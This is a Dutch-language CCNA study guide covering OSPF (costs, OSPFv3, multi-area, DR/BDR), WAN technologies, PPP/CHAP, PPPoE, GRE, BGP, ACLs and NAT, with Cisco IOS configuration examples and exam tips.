Ethernet (10 Mbps)101001000
Serieel T1 (1,544 Mbps)646476476
Serieel 128 kbps781781278125
Serieel 64 kbps156215625156250
ToetsvalMet de standaard reference bandwidth zien 100 Mbps, 1 Gbps en 10 Gbps er voor OSPF hetzelfde uit (cost 1). Daarom pas je hem aan met auto-cost reference-bandwidth 1000 (voor Gigabit) of 10000 (voor 10 Gigabit), in Mbps, op alle routers. Dat verandert alleen de berekening, niet de bandbreedte van de interface.
  • Voorbeeld uit de dia: R1 → R2 LAN over een T1 plus een Gigabit-LAN = 64 + 1 = 65. Met reference 1000: 647 + 1 = 648.
  • bandwidth 64 (in kilobits, interfacemodus) verandert alleen de OSPF/EIGRP-berekening, niet de echte snelheid. Seriële links staan standaard op 1,544 Mbps, wat vaak niet klopt. Pas het aan beide kanten van de link aan. no bandwidth zet het terug.
  • In plaats daarvan kun je de cost direct zetten: ip ospf cost 15625.
  • show interfaces toont de interfacebandbreedte.

Controleren

CommandoToont
show ip ospf neighborBuren: Neighbor ID (router-ID van de buur), Pri, State (FULL, 2WAY; een streepje betekent geen DR/BDR nodig), Dead Time, Address, Interface.
show ip protocolsProcess-ID, router-ID, geadverteerde netwerken, buren die updates sturen, AD (110).
show ip ospfOok process-ID en router-ID.
show ip ospf interfaceDetails per OSPF-interface, handig om te zien of de network-statements kloppen.
show ip ospf interface briefKort overzicht: interface, area, cost, state.
show ip interface briefZijn alle links up/up? Een link die down is wordt niet geadverteerd.
show ip routeRoutes met een O ervoor komen van OSPF.

OSPFv3 (IPv6)

OSPFv3 wisselt IPv6-prefixen uit en bouwt dezelfde drie tabellen. Overeenkomsten met v2: link-state, SPF, cost als metric, areas met area 0, dezelfde vijf pakkettypes, dezelfde states, dezelfde DR/BDR-verkiezing en een 32-bit router-ID die op dezelfde manier wordt bepaald.

OSPFv2OSPFv3
AdverteertIPv4-netwerkenIPv6-prefixen
BronadresIPv4-adresIPv6 link-local-adres
BestemmingUnicast buur, 224.0.0.5, 224.0.0.6Link-local buur, FF02::5, FF02::6
Netwerken adverterennetwork in routerconfiguratieipv6 ospf <process-id> area <area-id> op de interface
Unicast routingIPv4 staat standaard aanStaat uit: ipv6 unicast-routing
AuthenticatiePlain text en MD5IPsec
R1(config)# ipv6 unicast-routing
R1(config)# ipv6 router ospf 10
R1(config-rtr)# router-id 1.1.1.1            ! verplicht als er geen IPv4-adres is
R1(config-rtr)# auto-cost reference-bandwidth 1000
R1(config)# interface g0/0
R1(config-if)# ipv6 address fe80::1 link-local
R1(config-if)# ipv6 ospf 10 area 0
  • Link-local-adressen (FE80::/10) worden automatisch gemaakt (EUI-64 uit het MAC-adres) zodra er een IPv6-adres op de interface staat. Ze zijn verplicht voor OSPFv3; globale adressen niet. Handmatig instellen maakt beheer makkelijker.
  • Router-ID wijzigen: clear ipv6 ospf process.
  • Controleren: show ipv6 ospf neighbor, show ipv6 protocols, show ipv6 ospf interface brief, show ipv6 route ospf, show ipv6 interface brief.

S3Moment 6 · Multi-area OSPF en tuning

CCNA 3 hoofdstuk 9 (multi-area OSPF) en 10 (OSPF tuning en troubleshooting), plus OSPF-authenticatie.

Wanneer is hoger beter, wanneer lager?

Lager is beterHoger is beter
Spanning tree: root bridge (laagste bridge-ID)HSRP (hoogste priority wordt active)
Metric van routingprotocollen (cost, hops)OSPF DR/BDR (hoogste priority, dan hoogste router-ID)
Administrative distance (lager = eerder in de routingtabel)
AchtergrondDe dia zet ook "EIGRP successor / feasible successor" bij "hoger is beter". Let op: een successor is juist de route met de laagste metric (zie moment 5). Weet vooral het principe bij STP, AD, metric, HSRP en DR/BDR.

Waarom multi-area?

Een grote single area geeft een grote routingtabel, een grote LSDB en vaak SPF-berekeningen. Daarom ondersteunt OSPF hiërarchische routing met areas. Voordelen van multi-area:

  • Kleinere routingtabellen: netwerken kunnen tussen areas worden samengevat (summarization).
  • Minder link-state-update-overhead.
  • Minder vaak SPF-berekeningen.
  • Een storing in één area heeft geen invloed op andere areas.

Het is een tweelaagse hiërarchie: de backbone (transit) area = area 0, die snel IP-pakketten verplaatst en de andere areas verbindt; en regular (non-backbone) areas met de gebruikers en resources, meestal per functie of locatie. Al het verkeer tussen areas gaat over de backbone. Vergelijk het met een madeliefje: area 0 in het midden, de andere areas eromheen.

Soorten OSPF-routers

TypeDefinitie
Internal routerAlle interfaces in dezelfde area.
Backbone routerZit in de backbone area (area 0).
ABR — Area Border RouterInterfaces in meerdere areas (verbindt area 0 met een andere area).
ASBR — Autonomous System Boundary RouterMinstens één interface naar een extern netwerk (ander protocol, statische routes, internet).

Een router kan meerdere types tegelijk zijn (bijvoorbeeld backbone router én ABR).

LSA-types

LSA's zijn de "databaserecords" van OSPF; samen beschrijven ze de hele topologie. Elke multi-area-implementatie moet de eerste vijf ondersteunen.

TypeNaamGemaakt doorBereikLink-state ID
1Router LSA ("router link entry")Elke router: zijn eigen OSPF-linksAlleen binnen de eigen areaRouter-ID van de afzender
2Network LSA ("network link entry")De DR, alleen op multi-access/NBMAAlleen binnen de areaRouter-ID van de DR
3Summary LSAABR: netwerken uit andere areasVan area naar area (route O IA)Netwerkadres
4ASBR summary LSAABR, alleen als er een ASBR in de area isNaar andere areasRouter-ID van de ASBR
5AS external LSAASBR: externe routesHet hele routingdomeinExtern netwerknummer
  • Type 1 = "ik ben er": alle interfaces/IP's van de router met metric; gebruikt voor de neighbor- en topologietabel in dezelfde area.
  • Type 2: lijst met routers op het multi-access-segment, met adressen; bevat het IP en de router-ID van de DR.
  • Type 3: de ABR verzamelt OSPF-informatie uit andere areas en geeft die met minder detail door. Summarization op de ABR is aanbevolen: heeft R1 de netwerken 10.1.0.0/24 t/m 10.255.200.0/24 (65.000 netwerken), adverteer dan één /8. Gaat "door" de areas heen, bijvoorbeeld van area 2 via area 0 naar area 51.
  • Type 4 is nodig voor de next-hop-informatie bij type 5: hoe kom je bij de ASBR.
  • Verder: 6 multicast OSPF, 7 NSSA (Not-So-Stubby Areas), 8 external attributes voor BGP, 9–11 opaque.

Routes in de routingtabel

CodeBetekenisUit LSA
OIntra-area: binnen de eigen areaType 1 en 2
O IAInter-area: uit een andere areaType 3
O E1 / O E2Extern (buiten het OSPF-domein)Type 5

Volgorde van berekenen: eerst intra-area (O), dan inter-area (O IA), dan extern (O E1/E2).

AchtergrondE2 (de standaard) houdt alleen de externe cost aan; bij E1 telt de interne cost naar de ASBR er nog bij op.

Multi-area configureren en controleren

  • Er zijn geen speciale commando's. Een router wordt ABR zodra hij network-statements (v2) of interfaces (v3) in verschillende areas heeft.
R1(config)# router ospf 10
R1(config-router)# network 10.1.1.0 0.0.0.255 area 1
R1(config-router)# network 10.1.2.0 0.0.0.255 area 1
R1(config-router)# network 192.168.10.0 0.0.0.3 area 0   ! nu is R1 een ABR

Controleren: show ip ospf neighbor, show ip ospf, show ip protocols (aantal areas, router-ID, netwerken), show ip ospf interface brief (process-ID, area per interface, cost), show ip route ospf (O en O IA) en show ip ospf database (de LSDB). Voor OSPFv3 vervang je ip door ipv6.

OSPF-netwerktypes

TypeWat
Point-to-pointTwee routers op een gemeenschappelijke link, geen andere routers. Veel bij WAN-links.
Broadcast multiaccessMeerdere routers op een Ethernet-netwerk. Ethernet-LAN's zijn het bekendste voorbeeld.
Nonbroadcast multiaccess (NBMA)Meerdere routers op een netwerk zonder broadcasts, zoals Frame Relay.
Point-to-multipointHub-and-spoke over NBMA: branches (spokes) aan een centrale site (hub).
Virtual linksSpeciaal OSPF-netwerk om verre areas met de backbone te verbinden.

Problemen op multi-access: veel adjacencies, en veel LSA-flooding. Aantal adjacencies zonder DR = n(n−1)/2: 4 routers → 6, 5 → 10, 10 → 45, 20 → 190, 50 → 1225. De oplossing is de DR en BDR.

DR, BDR en DROTHER

  • De DR is het verzamel- en verdeelpunt voor LSA's. De BDR neemt het over als de DR stopt met hello's sturen.
  • Alle andere routers zijn DROTHER. Die vormen alleen volledige adjacencies met de DR en BDR, en sturen hun LSA's naar 224.0.0.6 (alle DR-routers). De DR stuurt naar 224.0.0.5.
  • In show ip ospf neighbor zie je FULL/DR, FULL/BDR, FULL/DROTHER en 2WAY/DROTHER (tussen twee DROTHERs).

Verkiezing, in deze volgorde:

  1. Hoogste interface priority wordt DR, de op één na hoogste BDR. Bereik 0–255, standaard 1. Priority 0 = kan nooit DR of BDR worden.
  2. Bij gelijke priority: hoogste router-ID.
  • De verkiezing is niet pre-emptive: komt er later een router met een hogere priority bij, dan neemt die de rol niet over. Een nieuwe verkiezing komt pas als de DR uitvalt, het OSPF-proces op de DR stopt of de multi-access-interface van de DR down gaat.
  • Valt de DR uit, dan wordt de BDR automatisch DR (ook als er inmiddels een "betere" router is), en volgt er een nieuwe BDR-verkiezing.
  • Priority instellen: ip ospf priority <0-255> (v3: ipv6 ospf priority). Wordt pas actief bij een nieuwe verkiezing: interfaces down/up zetten (eerst de gewenste DR) of clear ip ospf process op alle routers.
  • Controleren: show ip ospf interface.
ToetsvalIn een IPv6-only-netwerk zonder IPv4-adressen moet je de router-ID met router-id instellen, anders start OSPFv3 niet.

Default route propageren

Een ASBR (edge-, entrance- of gatewayrouter) met de verbinding naar internet kan een default route aan de andere OSPF-routers doorgeven:

R2(config)# ip route 0.0.0.0 0.0.0.0 s0/0/1      ! of het next-hop-adres
R2(config)# router ospf 10
R2(config-router)# default-information originate

! IPv6
R2(config)# ipv6 route ::/0 s0/0/1
R2(config)# ipv6 router ospf 10
R2(config-rtr)# default-information originate

De andere routers zien hem als O*E2 0.0.0.0/0. Controleren met show ip route.

Hello- en dead-interval aanpassen

R1(config-if)# ip ospf hello-interval 5
R1(config-if)# ip ospf dead-interval 20
R1(config-if)# no ip ospf hello-interval            ! terug naar standaard
! v3: ipv6 ospf hello-interval / ipv6 ospf dead-interval

Per interface instelbaar, en ze moeten overeenkomen met de buur, anders geen adjacency. Controleren: show ip ospf interface (standaard 10/40) en show ip ospf neighbor.

Troubleshooting

OSPF-problemen gaan meestal over neighbor adjacencies, missende routes of padselectie.

  • Buurproblemen: show ip interface brief (is de interface up?), show ip ospf neighbor, show ip ospf interface, show ip protocols. Let op: een passive-interface stopt hello's in beide richtingen, dus daarover worden routers nooit buren.
  • Routingtabelproblemen: show ip route ospf, show ip protocols, show running-config | section router ospf.
  • Reset van de adjacencies: clear ip ospf [process-id] process.
  • Voorbeeld OSPFv3: R1 krijgt het LAN van R3 niet, omdat OSPFv3 niet aanstond op de G0/0-interface van R3 (ipv6 ospf 10 area 0 vergeten).
  • OSPF bewaart informatie in vier datastructuren: interfacetabel, neighbor table (hello- en dead-timers), LSDB en routingtabel.

OSPF-authenticatie

  • Mogelijk: plain text en MD5; bij IPv6 IPsec. In de les doen we plain (een leesbaar wachtwoord), dat je met service password-encryption in de config kunt versleutelen.
  • Authenticatie kan per interface of per area; in de les per area.
R1(config)# interface s0/0/0
R1(config-if)# ip ospf authentication-key Cisco123!    ! hoofdlettergevoelig
R1(config)# router ospf 10
R1(config-router)# area 0 authentication
! nu valt de OSPF-buur weg tot de andere router hetzelfde heeft

S4Moment 7 · WAN-concepten en point-to-point (PPP)

CCNA 4 hoofdstuk 1 en 2. Korte versie in de les: de verborgen dia's horen er ook bij.

Wat is een WAN?

  • Een WAN werkt buiten het geografische bereik van een LAN en verbindt het bedrijfs-LAN met branches en thuiswerkers. Een WAN is meestal van een serviceprovider, een LAN van de organisatie zelf; je betaalt voor het gebruik.
  • WAN-technologieën verschillen van een LAN op laag 1 en 2 van het OSI-model (fysieke adressering, flow control, encapsulatie). Ze gebruiken vaak een modem of access server, en zijn intern meestal "switched".
  • Standaarden komen van TIA/EIA, ISO en IEEE.
  • Publiek = internet (xDSL, kabel). Privé = leased lines (T1/T3, MPLS, Frame Relay, ATM, ISDN, Ethernet WAN), maar ook VPN's/tunnels over een publiek netwerk (SD-WAN).
TopologieKenmerk
Point-to-pointEen circuit tussen twee eindpunten, meestal een dedicated leased line (T1/E1). Voelt als een directe fysieke link.
Hub-and-spokeMeerdere sites via één hub. Eén interface op de hub voor alle spokes. Nadeel: al het verkeer gaat via de hub.
Full meshElke site praat direct met elke andere. Nadeel: heel veel virtual circuits te beheren.
Dual-homedRedundantie en load balancing, maar duurder en complexer (extra hardware). Tegenwoordig steeds vaker gebruikt.

WAN-terminologie en -apparaten

TermBetekenis
CPE — Customer Premises EquipmentApparaten en bekabeling aan de klantkant die op de carrier aansluiten.
DCE — Data Communications EquipmentZet de data op de local loop; de interface naar de WAN-link (ook circuit-terminating equipment). Levert de klok.
DTE — Data Terminal EquipmentKlantapparaat (router) dat de data aanbiedt; sluit via de DCE aan op de local loop.
Demarcation pointHet punt in het gebouw dat klantapparatuur scheidt van providerapparatuur.
Local loop ("last mile")De koper- of glaskabel van de CPE naar het CO.
CO — Central OfficeHet lokale gebouw van de provider.
Toll networkDe lange, volledig digitale glasvezellijnen binnen het providernetwerk.

Apparaten: dialup-modem (moduleert digitaal naar analoog, legacy), access server (legacy, regelt inbellen), broadbandmodem (DSL/kabel), CSU/DSU (voor digitale leased lines: de CSU termineert het signaal en bewaakt de lijn, de DSU zet lijnframes om naar LAN-frames), router, core router/multilayer switch.

Circuit switching vs. packet switching

  • Circuit switching: eerst een dedicated circuit opzetten, dan pas communiceren (zoals bellen). Voorbeelden: PSTN en ISDN.
  • Packet switching: data in pakketten over een gedeeld netwerk; geen circuit nodig. Goedkoper, maar meer latency en jitter.
    • Connectionless: elk pakket draagt de volledige adressering (internet).
    • Connection-oriented: het netwerk bepaalt de route vooraf, elk pakket draagt alleen een identifier (Frame Relay met DLCI's).

WAN-verbindingsopties

TechniekKenmerken
Leased linePermanente point-to-point-lijn (serial link, T1/E1, T3/E3). Prijs hangt af van bandbreedte en afstand. T1 = 1,544 Mb/s.
DialupModem over analoge telefoonlijnen, minder dan 56 kb/s. Als niets anders beschikbaar is.
ISDNCircuit-switched, digitale signalen over de local loop (TDM). BRI = 2 B-kanalen van 64 kb/s + 1 D-kanaal van 16 kb/s. PRI (Noord-Amerika) = 23 B + 1 D van 64 kb/s = 1,544 Mb/s. Vaak als backup van een leased line.
Frame RelayLaag-2 NBMA, tot 4 Mb/s, PVC's met DLCI's. Eén interface op de edgerouter voor meerdere virtual circuits.
ATMCellen van vast 53 bytes (5 header + 48 payload), goed voor spraak en video; ~20% meer bandbreedte nodig dan Frame Relay.
Ethernet WANEthernet over glasvezel: 5 km (1000BASE-LX), 70 km (1000BASE-ZX). Goedkoper, makkelijk te integreren. Vervangt Frame Relay en ATM.
MPLSMultiprotocol Label Switching: stuurt op korte labels in plaats van IP-adressen; kan elke payload dragen (IPv4, IPv6, Ethernet, ATM, DSL, Frame Relay). Vooral een providertechniek.
VSATKleine satellietschotel voor een privé-WAN op afgelegen plekken; geostationaire satelliet op ~35.786 km.
DSLAlways-on over bestaande telefoonlijnen; DSL-modem bij de klant, DSLAM bij de provider. Populair voor thuiswerkers.
KabelOver coax van de kabel-tv; kabelmodem bij de klant, CMTS in de headend.
DraadloosMunicipal Wi-Fi, WiMAX (IEEE 802.16, vervangen door LTE), satellietinternet.
3G/4G/LTEMobiel via de zendmast; LTE hoort bij 4G.
VPNVersleutelde verbinding tussen privénetwerken over internet. Voordelen: kosten, security, schaalbaarheid, past bij broadband. Site-to-site (hele netwerken) of remote access (losse gebruikers).

Providerinfrastructuur: glasvezel met SONET of SDH. DWDM (dense wavelength division multiplexing) vermenigvuldigt de bandbreedte van één vezel: meer dan 80 kanalen van elk 10 Gb/s, in beide richtingen over één vezel.

Kiezen: doel, geografisch bereik, verkeersvereisten (QoS), privé (veiligst) of publiek (flexibelst en goedkoopst), dedicated of switched, wat is lokaal beschikbaar en wat kost het.

Seriële communicatie

  • Serieel: bits één voor één over één kanaal. Parallel: meerdere bits tegelijk over meerdere draden (last van clock skew).
  • Bandbreedte (Noord-Amerika, T-carrier): DS0 = 64 kb/s; 24 × DS0 = DS1 (T1); 28 × DS1 = DS3 (T3). Europa gebruikt E-carrier, glasvezel OC (Optical Carrier).

HDLC

  • Synchroon laag-2-protocol van ISO, met flow- en foutcontrole via acknowledgements; een flag markeert begin en einde van elk frame.
  • Standaard encapsulatie op een seriële interface tussen twee Cisco-routers. Cisco HDLC heeft een extra protocol-typeveld en werkt daardoor alleen met andere Cisco-apparatuur.
  • Verbind je met een niet-Cisco-router, gebruik dan PPP. Terug naar HDLC: encapsulation hdlc.
  • show interfaces serial 0/0/0 moet "Serial0/0/0 is up, line protocol is up" en de encapsulatie tonen; show controllers laat zien of er een kabel (bijv. V.35 DCE) aan hangt.
  • Andere WAN-protocollen: SLIP (vervangen door PPP), X.25/LAPB (voorloper van Frame Relay), Frame Relay, ATM.

PPP

Voor het gebruik van een WAN (internet) moet je betalen, dus authenticatie en verbruik moeten gecontroleerd kunnen worden. PPP (en PPPoE, PPPoA) biedt daarvoor:

  • Authenticatie met PAP en CHAP.
  • Linkkwaliteit (LQM, ppp quality), terugbelfunctie (callback), link detection en error detection (Quality en Magic Number).
  • Compressie (Stacker of Predictor) en multilink.

Drie componenten: HDLC-achtige framing; LCP (Link Control Protocol) op de datalinklaag om de link op te zetten, te configureren en te testen; en NCP's (Network Control Protocols), één per netwerklaagprotocol: IPCP (IPv4, code 8021) en IPv6CP (code 8057). PPP vraagt een full-duplex circuit (dedicated of switched, synchroon of asynchroon).

PPP-frame: Flag (01111110) · Address (11111111, broadcast) · Control (00000011) · Protocol (2 bytes) · Data · FCS (meestal 16 bit; klopt die niet, dan wordt het frame stil weggegooid).

Een PPP-sessie in drie fasen:

  1. Link establishment: LCP opent de verbinding en onderhandelt de opties (Configure-Request; antwoord Configure-Ack, of Configure-Nak/Reject).
  2. Link quality determination (optioneel): LCP test of de kwaliteit goed genoeg is.
  3. Network layer protocol configuration: de NCP's (bijv. IPCP) configureren IPv4/IPv6. IPCP onderhandelt compressie en het IPv4-adres.

Authenticatie (optioneel) gebeurt na de LCP-linkopbouw en vóór de netwerklaagconfiguratie. LCP-frames zijn er in drie klassen: link-establishment, link-maintenance (Echo-Request/Reply, Discard-Request, Code-Reject, Protocol-Reject) en link-termination (Terminate-Request/Ack).

R1(config)# interface s0/0/0
R1(config-if)# encapsulation ppp
R1(config-if)# ppp quality 80              ! link gaat down onder 80% kwaliteit
R1(config-if)# compress predictor

! Multilink PPP: stap 1 bundel maken, stap 2 interfaces toewijzen
R1(config)# interface multilink 1
R1(config-if)# ip address 10.0.1.1 255.255.255.252
R1(config-if)# ppp multilink
R1(config-if)# ppp multilink group 1
R1(config)# interface s0/0/0
R1(config-if)# encapsulation ppp
R1(config-if)# ppp multilink
R1(config-if)# ppp multilink group 1

PAP en CHAP

PAPCHAP
HandshakeTwo-wayThree-way (challenge, response, accept/reject)
WachtwoordIn plain text over de lijnNooit over de lijn: de response is een one-way hash (MD5) van het gedeelde geheim en de challenge
WanneerEén keer bij de opbouwBij de opbouw en periodiek opnieuw
VeiligheidZwak: geen bescherming tegen playback of trial-and-errorVeiliger
! op R1 (praat met R3)
R1(config)# hostname R1
R1(config)# username R3 password cisco
R1(config)# interface s0/0/0
R1(config-if)# encapsulation ppp
R1(config-if)# ppp authentication chap pap      ! eerst CHAP, anders PAP
! bij PAP ook nog:  ppp pap sent-username R1 password cisco

! op R3
R3(config)# username R1 password cisco
R3(config-if)# encapsulation ppp
R3(config-if)# ppp authentication chap pap
ToetsvalDe hostname van de ene router moet gelijk zijn aan de username die de andere router heeft geconfigureerd, en de wachtwoorden moeten gelijk zijn. Staan er twee methodes achter ppp authentication, dan wordt de eerste eerst geprobeerd.

Troubleshooten: debug ppp authentication en debug ppp negotiation (debug alleen kort gebruiken, kost veel resources). In de CHAP-uitvoer betekenen de codes: 1 = Challenge, 2 = Response, 3 = Success, 4 = Failure. id is het nummer per LCP-pakket, len de lengte zonder header.

GRE-tunnel (uit de les)

! Rotterdam
interface tunnel 1
 ip address 10.1.100.1 255.255.255.0
 tunnel source g0/0/1
 tunnel destination 145.89.181.1
! Cairo
interface tunnel 1
 ip address 10.1.100.2 255.255.255.0
 tunnel source s0/0/1
 tunnel destination <IP van Rotterdam>
ToetsvalDe routing tussen de twee publieke adressen moet eerst werken, anders komt de tunnel nooit op. Controleer met ping en show ip route voordat je de tunnel maakt. Let ook op de MTU (GRE voegt minstens 24 bytes toe). Meer over GRE bij moment 8.

S4Moment 8 · Branch connections: PPPoE, VPN, GRE, BGP en ACL's

CCNA 4 hoofdstuk 3 plus het begin van de ACL's (hoofdstuk 4). Korte versie; let op de verborgen dia's.

Broadband: kabel, DSL en draadloos

KabelDSL
MediumCoax met RF-signalen; HFC-netwerk (hybrid fiber-coaxial)Bestaande koperen telefoonlijn
ModemsCMTS bij de provider (headend), CM (kabelmodem) bij de klantDSLAM bij de provider (CO), transceiver/modem bij de klant
Gedeeld?Ja, shared medium: trager in drukke urenNee: elke gebruiker een eigen verbinding met de DSLAM
BeperkingBandbreedte gedeeld met de buurtAfstandsgevoelig: ADSL vraagt een local loop korter dan 5,46 km
  • ADSL = asymmetrisch (meer download dan upload). SDSL = symmetrisch. Spraak (POTS) en ADSL gebruiken andere frequenties op dezelfde draad.
  • Draadloos: municipal Wi-Fi (mesh van access points), cellular/mobile (LTE Cat 10: 450 Mb/s down, 100 Mb/s up), satelliet (de antenne moet vrij zicht op de evenaar hebben). WiMAX is grotendeels vervangen door LTE (mobiel) en kabel/DSL (vast).
  • Vergelijking: kabel gedeeld, DSL afstandsgevoelig, fiber-to-the-home vraagt glas tot in huis, mobiel heeft dekkingsproblemen, Wi-Fi-mesh is zelden beschikbaar, satelliet is duur met beperkte capaciteit.

PPPoE

ISP's gebruiken PPP over broadband: ze kunnen elke klant één publiek IPv4-adres geven en CHAP gebruiken. Maar Ethernet ondersteunt PPP niet van zichzelf. PPP over Ethernet (PPPoE) maakt een PPP-tunnel over de Ethernet-verbinding naar de ISP.

R1(config)# interface dialer 2
R1(config-if)# encapsulation ppp
R1(config-if)# ip address negotiated
R1(config-if)# mtu 1492
R1(config-if)# ppp chap hostname Fred
R1(config-if)# ppp chap password Barney
R1(config-if)# dialer pool 1
R1(config)# interface g0/1                    ! naar het DSL-modem
R1(config-if)# pppoe enable
R1(config-if)# pppoe-client dial-pool-number 1
  • De PPP-tunnel draait op een dialer interface; de fysieke Ethernet-interface krijgt pppoe enable en wordt via de dialer pool gekoppeld.
  • MTU 1492: de PPPoE-header is 8 bytes (1500 − 8). ip tcp adjust-mss past de MSS aan tijdens de TCP-handshake zodat sessies niet wegvallen.
  • Controleren: show ip interface brief (het automatisch gekregen IP), show interface dialer (MTU, PPP), show ip route, show pppoe session.
  • Problemen: PPP-onderhandeling (geen antwoord, LCP niet open, authenticatie mislukt, IPCP mislukt; debug ppp negotiation), authenticatie (CHAP-username/wachtwoord), MSS niet aangepast.

VPN's

  • Een VPN is een privénetwerk via tunneling over een publiek netwerk (meestal internet). Met "VPN" bedoelen we meestal een versleutelde variant zoals IPsec. Je hebt een VPN-gateway nodig: router, firewall of Cisco ASA.
  • Voordelen: kostenbesparing (goedkope broadband in plaats van leased lines), schaalbaarheid, compatibel met broadband, security (encryptie en authenticatie).
  • Site-to-site: hele netwerken met elkaar (branch ↔ hoofdkantoor). Hosts sturen gewoon TCP/IP; de gateway encapsuleert en versleutelt.
  • Remote access (client/server): losse gebruikers (thuiswerkers, mobiel, extranet); vaak met VPN-clientsoftware (Cisco AnyConnect).
  • DMVPN (Dynamic Multipoint VPN, Cisco): bouwt veel VPN's met NHRP (databank met de publieke IP's van alle spokes), mGRE (één GRE-interface voor meerdere tunnels) en IPsec (encryptie).

GRE

  • Generic Routing Encapsulation: een niet-beveiligd site-to-site VPN-tunnelprotocol, ontwikkeld door Cisco, IETF-standaard RFC 2784.
  • Kan multiprotocol- en IP-multicastverkeer vervoeren (dus ook routingprotocollen zoals OSPF over de tunnel).
  • Drie headers: passenger protocol (wat je vervoert, IPv4/IPv6), carrier protocol (de encapsulatie, GRE) en transport protocol (de aflevering, IP).
  • In de buitenste IP-header staat protocolnummer 47. GRE is stateless en heeft geen sterke security. Overhead: minstens 24 bytes (GRE-header + tunnel-IP-header).

Vijf stappen: (1) interface tunnel <nr>, (2) IP-adres op de tunnel (meestal privé), (3) tunnel source, (4) tunnel destination, (5) optioneel tunnel mode gre ip. Source en destination verwijzen naar de adressen van de fysieke interfaces.

Controleren: show ip interface brief (tunnel up?), show interface tunnel 1, show ip ospf neighbor (adjacency over de tunnel). Problemen zijn meestal: tunneladressen niet in hetzelfde netwerk of verkeerd masker, source/destination verkeerd of down, routing niet goed.

BGP

  • IGP's (OSPF, EIGRP, RIP) werken binnen één autonoom systeem (AS). Een EGP wisselt routes uit tussen AS'en, zoals ISP's. BGP is de EGP van internet, een path vector-protocol.
  • Elk AS heeft een uniek 16- of 32-bit AS-nummer.
  • eBGP: tussen routers in verschillende AS'en. iBGP: tussen routers in hetzelfde AS. Twee routers die BGP uitwisselen zijn BGP peers.
  • Gebruik BGP als een AS verbindingen heeft met meerdere AS'en: multi-homed. Een fout in BGP kan gevolgen hebben voor het hele internet.
  • Niet gebruiken bij één verbinding naar internet (single-homed) of bij beperkte kennis van BGP. In de cursus configureer je toch single-homed BGP, om te oefenen.
  • Opties bij multi-homed: alleen een default route, default route plus ISP-routes, of alle internetroutes (meer dan 550.000 netwerken).
Company-A(config)# router bgp 65000                              ! eigen AS
Company-A(config-router)# neighbor 209.165.201.1 remote-as 65001   ! peer + zijn AS
Company-A(config-router)# network 198.133.219.0 mask 255.255.255.0  ! eigen netwerk adverteren

Het netwerk in network hoeft niet direct verbonden te zijn (wel in de routingtabel staan). Let op: BGP gebruikt mask met een gewoon subnetmasker, geen wildcard. Controleren: show ip route, show ip bgp, show ip bgp summary. In het lab: BGP-config niet opslaan en reloaden, of alleen BGP weghalen en de IP's hergebruiken voor GRE en ACL.

ACL's: de basis

  • Een ACL is een sequentiële lijst van permit- of deny-regels: ACE's (access control entries). IPv4-ACE's gebruiken wildcard masks.
  • Per interface maximaal één ACL per protocol, per richting, per interface.
  • Standaard ACL: filtert alleen op het bronadres. Extended ACL: filtert op protocol (IP, ICMP, TCP, UDP), bron- en bestemmingsadres, en bron- en bestemmingspoort.
  • Beide kunnen genummerd of benoemd zijn.
  • Aan het eind staat altijd een implicit deny die alles tegenhoudt; die zie je niet in de show-commando's.
  • Plaatsing: extended ACL zo dicht mogelijk bij de bron (ongewenst verkeer niet eerst door het netwerk sturen); standaard ACL zo dicht mogelijk bij de bestemming (anders blokkeer je de bron naar overal).
R1(config)# access-list 10 remark Alleen LAN 10 mag eruit
R1(config)# access-list 10 permit 192.168.10.0 0.0.0.255
R1(config)# interface s0/0/0
R1(config-if)# ip access-group 10 out

! benoemd
R1(config)# ip access-list standard NO_ACCESS
R1(config-std-nacl)# deny host 192.168.11.10
R1(config-std-nacl)# permit any
R1(config-if)# ip access-group NO_ACCESS out
  • Verwijderen: eerst no ip access-group op de interface, dan no access-list 10.
  • Controleren: show ip interface (welke ACL in welke richting) en show access-lists (inhoud en matches). Bij standaard ACL's zet IOS host-ACE's vooraan (hashing), netwerk-ACE's blijven in de ingevoerde volgorde.
  • Voorbeeldplaatsing: alles van 192.168.10.0/24 naar 192.168.30.0/24 blokkeren met een standaard ACL → uitgaand op de LAN-interface van R3 (bij de bestemming). FTP en Telnet van 192.168.11.0/24 naar 192.168.30.0/24 blokkeren met een extended ACL → inkomend op de LAN-interface van R1 (bij de bron).

S5Moment 9 · ACL's, netwerksecurity en monitoring

CCNA 4 hoofdstuk 4 (ACL's) en 5 (LAN-security, SNMP, SPAN). Korte versie: let op de hidden slides.

Opdracht: ACL, routing en NAT/PAT

R1(config)# access-list 1 permit 192.168.1.0 0.0.0.255
R1(config)# access-list 1 permit 192.168.2.0 0.0.0.255   ! implicit deny houdt de rest tegen
R1(config)# ip nat inside source list 1 interface g0/0/1 overload
R1(config)# interface g0/0/0
R1(config-if)# ip nat inside
R1(config)# interface g0/0/1
R1(config-if)# ip nat outside
  • NAT overload = PAT (Port Address Translation): veel interne adressen delen één publiek adres, onderscheiden op poortnummer.
  • Statische NAT (een vaste koppeling intern ↔ extern) is vergelijkbaar met port forwarding.
  • Elke interface krijgt ip nat inside of ip nat outside.

ACL's in het kort (dia van de docent)

  • Standaard ACL (benoemd of genummerd 1–99): alleen op bron-IP(-range).
  • Extended ACL (benoemd of genummerd 100–199, en 2000–2699): bron en bestemming, IP, poort, L3/L4-protocollen.
  • Koppelen aan een interface met ip access-group … in|out (in = de router in, out = de router uit). Voor VTY (Telnet/SSH): access-class. Voor IPv6: ipv6 traffic-filter.
  • ACL = "deny unless": implicit deny, blokkeer alles tenzij toegestaan. Die zie je niet in show-commando's; beter een expliciete deny aan het eind zetten (dan zie je ook de matches).
  • Standaard ACL dicht bij de bestemming, extended dicht bij de bron.
  • Standaard ACL gebruikt minder resources (o.a. RAM) maar is minder flexibel.
  • IPv6-ACL's zijn altijd benoemd.
  • Regels: deny en permit, remark = commentaar, extra opties zoals established.
  • First match: zodra een regel matcht wordt er niet verder gekeken. De volgorde is dus essentieel.

Extended ACL's

access-list <100-199> {permit|deny|remark} <protocol> <bron> <wildcard> [operator poort] <bestemming> <wildcard> [operator poort] [established]

R1(config)# access-list 103 permit tcp 192.168.10.0 0.0.0.255 any eq 80
R1(config)# access-list 103 permit tcp 192.168.10.0 0.0.0.255 any eq 443
R1(config)# access-list 104 permit tcp any 192.168.10.0 0.0.0.255 established
R1(config)# interface g0/0
R1(config-if)# ip access-group 103 in
R1(config-if)# ip access-group 104 out
  • Je kunt een poortnummer of de naam van een well-known poort gebruiken (eq www, eq ftp); met ? zie je de namen.
  • established laat alleen antwoorden toe op verkeer dat vanuit 192.168.10.0/24 is begonnen (TCP-segmenten met ACK of RST).
